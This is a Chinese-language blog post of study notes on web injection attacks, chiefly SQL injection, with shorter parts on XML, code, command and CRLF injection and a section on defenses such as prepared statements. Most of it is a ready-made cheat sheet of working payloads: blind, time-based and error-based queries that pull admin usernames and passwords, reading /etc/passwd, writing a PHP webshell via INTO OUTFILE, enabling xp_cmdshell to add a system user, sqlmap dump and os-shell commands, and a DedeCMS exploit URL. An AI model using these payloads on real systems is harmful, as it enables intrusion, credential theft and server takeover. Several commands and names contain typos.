web_inject學習

學習筆記~~~~~~~~~~~~~~~~~~~~~~~~~

xss 實質上是針對html的注入攻擊

注入攻擊的本質,是把用戶輸入的數據當作代碼執行。

關鍵條件:1用戶能控制輸入  2原本程序要執行的代碼,拼接了用戶輸入數據


SQL 注入

簡要介紹

SQL 結構化查詢語言   學習網址點這裏

SQL 注入是針對數據庫的攻擊,不同數據庫有不同的功能,不同的語法和函數,SQL注入較強也有所不同

1998 年 第一個SQL注入

	var shipcity;
	shipcity = Request.form("shipcity");
	var sql = "select * from OrderTable where shipcity = '" + shipcity + "'";

shipcity 由用戶輸入,那麼輸入 beijing;drop table xxx--  就執行了我們想要的代碼

如果網站web 服務器開啓了錯誤回顯, 比如攻擊者在參數輸入 單引號 

返回錯誤信息  microsoft JET Database Engine 錯誤 xxx  則判斷服務器用的  access 數據庫

查詢語句代碼可能是 select xxx from table_x where id = $id


盲注 Blind Injection

web 服務器關閉了錯誤回顯,攻擊者研究出了 盲注

沒有錯誤回顯時完成的注入攻擊,構造簡單的條件語句,返回頁面是否發生變化,來判斷SQL語句是否得到執行

eg:   http://xxx.com/items.php?id=2

執行語句是  select title,description,body from items where id = 2

如果構造  http://xxx.com/items.php?id=2 and 1=2

那麼執行     select title,description,body from items where id = 2 and 1=2  攻擊者看到錯誤頁面

然後接着     select title,description,body from items where id = 2 and 1=1  如果頁面正常,則說明sql 語句的 and 成功執行, 判斷 id 參數存在sql 注入


Timing Attack

在MySql 有一個 BENCHMARK 函數,測試函數性能的   BENCHMARK(count,expr) 將表達式 expr 執行count 次數

通過時間長短判斷注入語句是否執行成功 是一種邊信道攻擊, 

union select if(SUBSTRING(current,1,1) = CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) from (select database() as current) as tbl;

PAYLOAD 判斷庫名的第一個字母是否爲CHAR(119),即小寫的w. 如果判斷結果爲真,則會通過 BENCHMARK() 函數造成較長延時;如果不爲真,則該語句將很快執行完

select DATABASE();

select SYSTEM_USER();

select current_user();

select last_insert_id();

如果當前數據庫用戶 current_user 具有寫權限,那麼攻擊者可以將信息寫入本地磁盤中,比如寫Web目錄中。(如果您希望按照降序對記錄進行排序,可以使用 DESC 關鍵字。)

union all select table_name,table_type,engine from information_schema.tables where table_schema = 'mysql' order by table_name desc into outfile '/path/location/on/server/www/schema.txt'

通過dump 文件的方法,還可以寫入一個webshell:

union select "<? system(($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --

不同系統中的 Timing Attack:

Mysql                    BENCHMARK(1000000,md5(1)) or sleep(5)

PostgreSQL          PG_SLEEP(5) or  GENERATE_SERIES(1,1000000)

MS SQL Server    WAITFOR DELAY '0:0:5'

更多數據庫的函數可以查看數據庫軟件的手冊


數據庫攻擊技巧:

常見攻擊技巧:

猜測數據庫版本 

http://xxx.com/news.php?id=5 and substring(@@version,1,1)=4  mysql

確認表名admin 是否存在:

id=5 union all select 1,2,3 from admin

確認列名passwd是否存在

id=5 union all select 1,2,passwd from admin

進一步要猜解出username 和 passwd 具體的值

(limit 0,1 表示從行數限制顯示,第一行開始,數量爲1)

id=5 and ascii(substring(select concat(username,0x3a,passwd) from users limit 0,1),1,1)>64 //true

id=5 and ascii(substring(select concat(username,0x3a,passwd) from users limit 0,1),1,1)>65 //false

那麼username:passwd 第一個字符是 A(65)
id=5 and ascii(substring(select concat(username,0x3a,passwd) from users limit 0,1),2,1)>65 //false

接着繼續猜解~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

sqlmap 上場:  sqlmap -u "http://xxx/xxx.php?id=1" --dump -T users

就可以查詢 表名爲users 的列名 對應的值


讀寫文件的技巧

Mysql 中,LOAD_FILE讀取系統文件,並通過INTO DUMPFILE 寫入本地文件(當前數據庫用戶有權限)

union select 1,1, LOAD_FILE('/etc/passwd'),1,1;

如果要讀出文件並返回結果給攻擊者:

CREATE TABLE potatoes(line BLOB)
union select 1,1,hex(LOAD_FILE('/etc/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
LOAD DATA INFILE '/tmp/potatpes' INTO TABLE potatoes
最後通過一般的注入技巧直接操作表數據即可

DUMPFILE  適用於二進制文件 和 OUTFILE 適用於文本

命令執行

Mysql 中除了導出webshell 間接的執行命令外,還可以利用“用戶自定義函數”的技巧,UDF來執行命令

UDF 不僅僅是Mysql 的特性,其他數據庫也有類似的功能

create function f_name returns integer soname shared_library

sys_eval  執行任意命令,輸出返回
sys_exec 執行任意命令,並將退出碼返回
sys_get   獲取一個環境變量
sys_set  創建或者修改一個環境變量

lib_mysqludf_sys 被 sqlmap 集成了

sqlmap -u "http://xxx/xxx.php?id=1" --os-cmd id -v 1


MS SQL SERVER

可以直接使用 xp_cmdshell 執行系統命令


oracle 數據庫如果還有 java 也可能命令執行

當SQL 注入後可以執行多語句的情況下,可以在Oracle中創建Java的存儲過程執行系統命令


在建立數據庫帳戶時應該遵循 “最小權限原則”,儘量避免給WEB應用使用數據庫的管理員權限

MS SQL SERVER 中存儲過程 "xp_cmdshell"   :   

exec master.dbo.xp_cmdshell 'cmd.exe dir c:'

exec master.dbo.xp_cmdshell 'ping'

xp_cmdshell  sql 2000 默認開啓, 2005及以後版本都禁止,
如果當前數據庫用戶有sysadmin權限,可以使用sp_configure 2005,2008 重新打開
如果在2000中禁止就用 sp_addextendedproc打開

開啓xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 
關閉一樣.只是將上面的後面的那個"1"改成"0"就可以了.
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
未能找到存儲過程 'master..xp_cmdshell'
第一步執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執行:sp_addextendedproc 'xp_cmdshell','xpsql70.dll'


還有 xp_regread 可以操作註冊表  等等函數


xp_servicecontrol 允許用戶啓動,停止服務 等等函數


Oracle 數據庫中,存儲過程非常多,很多存儲過程都存在SQL注入問題


注入編碼:

單引號,雙引號等特殊字符,開發者爲了安全,經常會使用轉義字符 \ 來轉義這些特殊字符

產生了意想不到的漏洞

php addslashes() 函數 會轉義4個字符   單引號0x27    雙引號0x22   \ (0x5c)  NULL 都會被轉義

0xbf27 pr 1=1      被\轉義了,0xbf5c 組成一個字符

0xbf5c27 or 1=1     被轉義成了 縗' or 1=1

解決問題是  同意數據庫,操作系統,WEB應用使用的字符集,以避免各層對字符的理解有差異,同意設置UTF-8是一個很好的方法


XSS 也會有這種機會被構造,那麼解決方法是 <meta> 設置 charset 



SQL Column Truncation(列截斷)

mysql 5.0 默認沒開啓

Mysql sql_mode 選項,設置爲default 時,即沒有開啓 STRICT_ALL_TABLES 選項,

Mysql 對於用戶插入的超長值只會提示warning 而不是error(插入不成功),可能會導致發生一些“截斷”

sql-mode="STRUCT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE,_SUBSTITUTION"

當開啓時  :

create table 'truncated_test'(   //創建我們的表

'id' int (11) NOT NULL auto_iincrement

'username' varchar(10) default NULL,

'password'  varchar(10) default NULL,

PRIMARY KEY  ('id')

)DEFAULT CHARSET=utf8;


select * from truncated_test;//查詢有沒有東西

show columns from truncated_test;//查詢創建成功

insert into truncated_test('username','password') values("admin","pass");

//插入列username 爲admin   插入列password 爲 pass

insert into truncated_test('username','password') values("admin             ","new_pass");

提示插入失敗 因爲超過了限制長度


當關閉時

sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE,_SUBSTITUTION"

數據插入成功, 提示 warning


曾經的漏洞: wordpress 註冊 admin(55個空格)x   的用戶,就可以修改原管理員密碼


正確防禦SQL注入:

1)找到所有注入點,修補這些注入點

屏蔽空格:

select/**/passwd/**/from/**/user

select(passwd)from(user)


屏蔽括號,引號的例子:

select passwd from users where user=0x61646d696e    admin的十六進制

2) 防禦SQL注入的最佳方式就是使用預編譯語句,綁定變量

JAVA 中預編譯的SQL 語句:

String custname = request.getParameter("customerName");
String query = "select account_balance from user_data where user_name = ?";

PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1,custname);
ResultSet result = pstmt.executeQuery();
  使用預編譯的SQL 語句,SQL語句的語義不會發生改變,變量用? 表示,即使攻擊者構造

類似   tom ' or '1' = '1  的字符串 也只會將此字符串當作username 來查詢


PHP 中綁定變量的實例,

$query = inset into mycity (name, countrycode,district) values (?,?,?)";

$stmt = $msqli->prepare($query);

$stmt->bind_param("sss",$var1,$var2,$var3);

$var1 = 'Stuttgart';

$var2 = 'DEU';

$var3 = 'Baden-Wuertteemberg';

$stmt->execute();


不同的語言都有着不同的預編譯語句的方法

java ee ,.net ,php,hibernate,sqlite 

3)使用存儲過程:

安全的哦存儲過程對抗SQL 注入

存儲過程需要先將SQL語句定義在數據庫中。但需要注意,存儲過程也可能會存在注入問題,因此避免在存儲過程內使用動態SQL語句

如果無法避免,則應該使用嚴格的輸入過濾或者編碼函數來處理用戶的輸入數據。


callableStatement cs = connection.prepareCall("{call sp_hetAccountBalance(?)}");

cs.setString(1,custname)

4)檢查數據類型:

<?php

settype($offset,'integer');

#query = "select id,name from products order by name limit 20 offset $offset;";


$query = sprintf("select id,name from products order by name limit 20 offset id;",$offset);

?>

5)使用安全函數:

參考OWASP ESAPI 中的實現。

ESPAPI.encoder().encodeForSQL(new OracleCodec(), queryparam);


Codec ORACLE_CODE = new OracleCodec();

String query = "select user_id from user_data where 

user_name = ' " +

   ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("userID"))+ " ' and 

user_password='"

+ ESPAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("pwd")) + "'";


使用最小權限,避免WEB應用直接使用ROOT,DBOWNER等高權限帳戶直接連接數據庫。


WEB應用的帳戶不應該有創建自定義函數,操作本地文件的權限

6) XML注入

XML 和HTML 都是 SGML 標準通用標記語言

輸入XML數據時,構造特殊數據,形成注入攻擊

<?xml version="1.0" encoding="UTF-8"?>
<user role="guest_role">
	<name>user1</name>
	<email>[email protected]</email>
</user>
輸入時構造成這樣   紅色部分是多餘的部分

<?xml version="1.0" encoding="UTF-8"?>
<user role="guest_role">
<name>user1</name>
<email>[email protected]</email>
</user>
<name>user2</name>>
<email>[email protected]
</email>
</user>

7)代碼注入:

出現代碼注入漏洞的地方與“後門” 沒有區別

$myvar = "varname"

$x = $_GET('arg');

eval("\$myvar = \$x;");


index.php?arg=1; phpinfo()

engine.eval("print(' " + argv[0] +" ')");

輸入

hello'); var fImport = new JavaImport(java.io.File); with(fImport) {var f =new File('new'); f.createNewFile(); }  //

jsp 的動態 include 也能導致代碼注入。 嚴格上說,PHP,JSP的動態include 文件包含漏洞 導致的代碼執行,也算一種代碼注入


<% String pageToInclude = getDataFromUntrustedSource(); %>

<jsp:include page = "<%=pageToIncode %>" />


多見於 腳本語言,有時候代碼注入可以造成命令注入

<?php

$varerror = system('cat '.$_GET['pageid'], $valoretorno);

echo $varerror;

?>

xxx.php?pageid=loquesea;ls


c 語言注入例子:

command = "cat "+ argv[1]

system(command);

輸入 story.txt;ls


PHP/JSP 中避免使用 include 遠程文件,或者安全地處理它

8)CLRF 注入:

CR  Carriage Return  \r ascii 13 回車

LF  Line Feed ascii 10, \n 換行

\r\n 是用於bioassay換行 的 十六進制數爲 0x0d  0x0a

CLRF 經常被用作不同語義之間的分隔符。因此通過“注入CRLF字符”,就有可能改變原有的語義


下面代碼將登陸失敗的用戶名寫入日誌文件中:

def log_failed_login(username)

log = open("access.log",'a')

log.write("user login failed for: %s\n" % username)

log.close()

輸入 guest\nuser login success for: admin

結果就變成:

user login failed for:  guest

user login success for:  admin


並非僅能用於LOG注入,使用CRLF 作爲分隔符的地方都有可能存在這種注入, “注入HTTP頭”

HTTP 協議中就是通過 "\r\n" 來分隔的。如果服務器端沒有過濾 \r\n 而又把用戶輸入的數據放在HTTP頭中,

則有可能導致安全隱患, 這種HTTP頭的注入 ,又可以稱爲 Http Response Splitting


<form id="x"

action="http://xxx.do?email=a%0d%0a%0d%0a<script>alert(/xss/);</script>" method="post">


兩次 \r\n 意味着 HTTP頭 的結束

合理的處理  它們就行了~~~~~~~~~~~~~~~~~~~~~~~


網上搜羅學習:

1)  插入經典

INSERT INTO tao_comment (article_id,name,emails,content,ips,times) 

VALUES('26','we','[email protected]','we','1','1'),

('1’,'1',’1’, (SELECT concat( name, 0x2f, passwd ) FROM tao_admin LIMIT 1), '1','1')


2) ?id=762

 ?id=762 order by 20正確

 ?id=762 order by 21 錯誤 說明有20個字段

接下來union聯合查詢: 看到有很多數字出現在網頁上

 ?id=762 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin

然後進行猜 admin 有多少個字段/列 

 ?id=762 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 錯誤

 ?id=762 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin 錯誤

 ?id=762 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正確 那麼有4個字段

 ?id=764 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id=b.id)
//兩倍顯示  4 *2 = 8

 ?id=764 UNION SELECT 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
//三倍顯示  4*3 = 12

 ?id=762 union select 1,admin,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin  //測試字段 admin 看出列 admin 的值

3)

?id=211+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+admin

?id=211+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+from+adminuser

?id=211+and+1=2+union+select+1,2,3,4,5,6,7,*+from+adminuser //正確

13 - 7 = 6  

?id=211+and+1=2+union+select+1+*+from+((admin+as+a+inner+join+admin+as+b+on+a.id=b.id)+inner+join+admin+as+c+on+a.id+c.id)


4) 

sqlmap  跑出了hash , Cain&Abel、John&Ripper等工具將密碼hash破解爲明文


?id=1&Submit=Submit –cookie=”PHPSESSID=xxxxxx;security=low” -b –current-db –current-user

在滲透過程中維持連接狀態   -b : 獲取DBMS banner      –current-db : 獲取當前數據庫     –current-user:獲取當前用戶

–dbs: 枚舉DBMS中的數據庫, -D : 要枚舉的DBMS數據庫   ,嘗試枚舉DVWA數據表,–tables     : 枚舉DBMS數據庫中的數據表

?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”

枚舉 表users 的列/字段

?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”

?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users -C user,password --dump”


5)

?id=-8 union select 1,2,@@version,4,5 --

?id=-8 union select 1,2,group_concat(information_schema.tables.table_name),4,5 from information_schema.tables where information_schema.tables.table_schema=database()-- 

//字符集不同。不同的字符集連接時會出錯

?id=-8 union select 1,2,group_concat(convert(information_schema.tables.table_name using latin1)),4,5 from information_schema.tables where information_schema.tables.table_schema=database()--


6) 搜索框

%' and 1=1 and '%'='  正確

%' and 1=2 and '%'='  錯誤 存在注入


比賽%' and 1=convert(int,(select top 1 name from sysobjects where xtype='U')) and '%'='

將nvarchar值’XXX’轉換爲數據類型爲int的列時發生語法錯誤。XXX正是我們需要知道的值

第一個表段爆出來了sys_UserInfo。top 1就是爆出第一個表段

比賽%' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('sys_UserInfo' ))) and '%'='

限制表名不爲sys_UserInfo,然後取回第一個表段,其實現在就是庫中的第二個表段 Article

比賽%' and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('sys_UserInfo' ,'Article' ))) and '%'='


7) 

xw_show.asp?xw_id=69

xw_show.asp?s=1%00.&xw_id=69


sqlmap -u --os-shell 得到shell


8)dedecms即織夢(PHP開源網站內容管理系統)。織夢內容管理系統(DedeCms) 以簡單、實用、開源而聞名,是國內最知名的PHP開源網站管理系統,也是使用用戶最多的PHP類CMS系統

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'  or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select  CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type] [type]=application/octet-stream&_FILES[type][size]=111


9)

LN 寫的~~~~~  mysql

0x00 mysql一般注入(select)
1.註釋符
#
/*
--
2.過濾空格注入
使用/**/或()或+代替空格
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
3.多條數據顯示
concat()
group_concat()
concat_ws()
4.相關函數
system_user() 系統用戶名
user() 用戶名
current_user 當前用戶名
session_user()連接數據庫的用戶名
database() 數據庫名
version() MYSQL數據庫版本
load_file() MYSQL讀取本地文件的函數
@@datadir 讀取數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統 Windows Server 2003
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
5.mysql一般注入語句
猜字段數
order by n/*
查看mysql基本信息
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
查詢數據庫
and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
查詢表名
and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=數據庫的16進制編碼 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=數據庫的16進制編碼/*
查詢字段
and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六進制編碼 and table_schema=數據庫的16進制編碼 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六進制編碼 and table_schema=數據庫的16進制編碼/*
查詢數據
and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 數據庫.表/*
判斷是否具有讀寫權限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*
6.mysql讀取寫入文件
必備條件:
讀:file權限必備
寫:1.絕對路徑 2.union使用 3. 可以使用''  
-------------------------讀----------------------                     
mysql3.x讀取方法
create table a(cmd text);
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;
select * from a;
mysql4.x讀取方法
除上述方法還可以使用load_file()
create table a(cmd text);
insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));
select * from a;
mysql5.x讀取方法
上述兩種都可以
讀取文件技巧:
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)
------------寫--------------------------
into outfile寫文件
union select 1,2,3,char(這裏寫入你轉換成10進制或16進制的一句話木馬代碼),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
0x01 mysql一般注入(insert、update)
mysql一般請求mysql_query不支持多語句執行,mysqli可以。 
insert注入多使用報錯注入!
1.如果可以直接插入管理員可以直接使用!
insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');
2.如果可以插入一些數據,這些數據會在網頁中顯示,我們可以結合xxs和csrf來獲取cookies或getshell
update注入同上
0x02 mysql報錯注入
1. and(select 1 from(select count(*),concat((select (select (語句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
語句處填入一般一句,如:SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1
2. and+1=(select+*+from+(select+NAME_CONST((語句),1),NAME_CONST((語句),1))+as+x)--
3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b);
4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b)));
 0x03 mysql一般盲注
使用ascii
AND ascii(substring((SELECT password FROM users where id=1),1,1))=49
使用正則表達式
and 1=(SELECT 1 FROM information_schema.tables  WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
0x04 mysql時間盲注
1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl
UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’
0x06 mysql數據庫版本特性
1. mysql5.0以後  information.schema庫出現
2. mysql5.1以後 udf 導入xx\lib\plugin\ 目錄下
3.mysql5.x以後 system執行命令

10)  PHP信息

獲取系統類型及版本號:    php_uname()                                   (例:Windows NT COMPUTER 5.1 build 2600)
只獲取系統類型:          php_uname('s')                                (或:PHP_OS,例:Windows NT)
只獲取系統版本號:        php_uname('r')                                (例:5.1)
獲取PHP運行方式:         php_sapi_name()                               (PHP run mode:apache2handler)
獲取前進程用戶名:        Get_Current_User()
獲取PHP版本:             PHP_VERSION
獲取Zend版本:            Zend_Version()
獲取PHP安裝路徑:         DEFAULT_INCLUDE_PATH
獲取當前文件絕對路徑:    __FILE__

獲取Http請求中Host值:    $_SERVER["HTTP_HOST"]                         (返回值爲域名或IP)
獲取服務器IP:            GetHostByName($_SERVER['SERVER_NAME'])
接受請求的服務器IP:      $_SERVER["SERVER_ADDR"]                       (有時候獲取不到,推薦用:GetHostByName($_SERVER['SERVER_NAME']))
獲取客戶端IP:            $_SERVER['REMOTE_ADDR']
獲取服務器解譯引擎:      $_SERVER['SERVER_SOFTWARE']
獲取服務器CPU數量:       $_SERVER['PROCESSOR_IDENTIFIER']
獲取服務器系統目錄:      $_SERVER['SystemRoot']
獲取服務器域名:          $_SERVER['SERVER_NAME']                       (建議使用:$_SERVER["HTTP_HOST"])
獲取用戶域名:            $_SERVER['USERDOMAIN']
獲取服務器語言:          $_SERVER['HTTP_ACCEPT_LANGUAGE']
獲取服務器Web端口:       $_SERVER['SERVER_PORT']


mysql 的一些信息:

@@have_openssl 如果mysqld支持客戶端/服務器協議的SSL(加密)則爲YES
@@version_compile_os 判斷系統類型
@@max_allowed_packet 包或任何生成的/中間字符串的最大大小
@@max_user_connections MySQL賬戶允許的最大同時連接數,0表示沒限制
@@skip_networking 如果服務器只允許本地(非TCP/IP)連接,該值爲ON
@@table_type 默認表類型(存儲引擎)
@@basedir MySQL安裝基準目錄
@@character_set_database 默認數據庫使用的字符集
@@datadir 數據庫存儲的地方
@@expire_logs_days 二進制日誌自動刪除的天數,默認是0,表示"沒有自動刪除"
@@group_concat_max_len 允許group_concat()函數結果的最大長度
@@log_error 錯誤日誌的位置
@@lower_case_file_system 該變量說明是否數據目錄所在的文件系統對文件名的大小寫敏感.
ON說明對文件名的大小寫不敏感,OFF表示敏感
@@lower_case_table_names 如果設置爲1,表名用小寫保存到硬盤上,並且表名比較時不對大小寫敏感.
如果設置爲2,按照指定的保存表名,但按照小寫來比較
@@plugin_dir 插件目錄的路徑
@@tmpdir 保存臨時文件和臨時表的目錄
@@tmp_table_size 如果內存內的臨時表超過該值,MySQL自動將它轉換爲硬盤上的MyISAM表
@@sql_mode 當前服務器的sql模式
@@tx_isolation 默認事務隔離級別。默認值爲REPEATABLE-READ
@@Connections 連接mysql數據庫服務器的次數(不管成功還是失敗)
@@max_write_lock_count 最大寫鎖數量
@@old_passwords 是否啓用mysql323加密方式(就是mysql用戶密碼的hash是16位的)
@@Uptime 服務器已經運行的時間





11) 

SELECT * FROM news WHERE tid='{$id}'
使用了一個addslashes函數,將$id的值轉義
php?id=1%df%df%27 正常
因爲%df%df是一個漢字,%5c%27不是漢字,仍然是\’


mysql判斷一個字符是不是漢字,根據gbk編碼,第一個字節ascii碼大於128,基本上就可以了
php?id=-1%aa%27 異常
php?id=-1%aa%27union select 1,2,concat(name,0x23,pss) from admin


使用了一個mysql_real_escape_string函數,將$id的值轉義
php?id=-1%aa%27 異常  還是可以注入


12)burpsuite  截包 複製爲txt 

把這個post請求複製爲txt, 我這命名爲search-test.txt 然後把它放至sqlmap目錄下
運行sqlmap並使用如下命令:./sqlmap.py -r search-test.txt -p tfUPass,
這裏參數 -r 是讓sqlmap加載我們的post請求rsearch-test.txt,而-p 大家應該比較熟悉,指定注入用的參數。


13) 

round() 遵循四捨五入把原值轉化爲指定小數位數,如:round(1.45,0) = 1;round(1.55,0)=2
floor(搜索)向下舍入爲指定小數位數 如:floor(1.45,0)= 1;floor(1.55,0) = 1
ceiling()向上舍入爲指定小數位數 如:ceiling(1.45,0) = 2;ceiling(1.55,0)=2

方法1的數字範圍:0至N-1之間,如cast( floor(rand()*100) as int)就會生成0至99之間任一整數
方法2的數字範圍:1至N之間,如cast(ceiling(rand() * 100) as int)就會生成1至100之間任一整數

mysql ,floor,ExtractValue,UpdateXml三種報錯模式
通過floor報錯
mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’
爆出了Mysql的版本

查詢管理員用戶名和密碼:
Method1:
mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
Method2:
mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
測試語句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
實際測試過程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′
3、UpdateXml
測試語句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
實際測試過程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

14) 

php?id=4   在其後添加'and1=2'後頁面報錯


15)

asp?id=1;EXEC('ma'%2b'ster..x'%2b'p_cm'%2b'dsh'%2b'ell''net user x x /add''')--

xxx.com/login.asp?id=1';EXEC master..xp_cmdshell '1.exe'--

com/login.asp?id=1';EXEC('ma'%2b'ster..x'%2b'p_cm'%2b'dsh'%2b'ell''net user x x /add''')--


16)  burpsuite    進行 注入時,在 raw 上修改 GET 等時  比如 id=1 and 1=1 必須使用 URL encode 才能成功

選中 需要編碼的字符    convert selection  ->  URL  -> URL -encode key character  Ctrl-U

                                                                                  最後變成    id=1+and+1%3d1

或者可以在 params 中直接修改

 發送兩次 到 comparer  對比~~~~~~增加的東西可以作爲關鍵字 成功纔有關鍵字!!!

order by  檢查長度 用 intruder  nubers  0到100  檢 查   快的多     可以用到上面的關鍵字   在 options  grep  這個關鍵字 

攻擊後 看到 有多少字段~~~~~~


用 firefox 的  hackerbar   SQL 可以構造 union 字串~~~~~ 比如構造union select 1,2,3,```直到30 方便點


還有就是測試 一些變量 比如 version(),user(),   是多少時,  選擇字典後  options   grep   extract  設置正則 不用輸入 直接選中要顯示的地方即可

burpsuite 裏  decoder  可以轉換  數據庫名稱爲 16進制編碼~~~~~

select 1,2,3,table_name,``` from information_schema.tables where table_schema=數據庫16進制 linmit 1,1

這時候又可以  intruder  ~~~~~~~~~~~~~~~





















發佈了171 篇原創文章 · 獲贊 8 · 訪問量 26萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章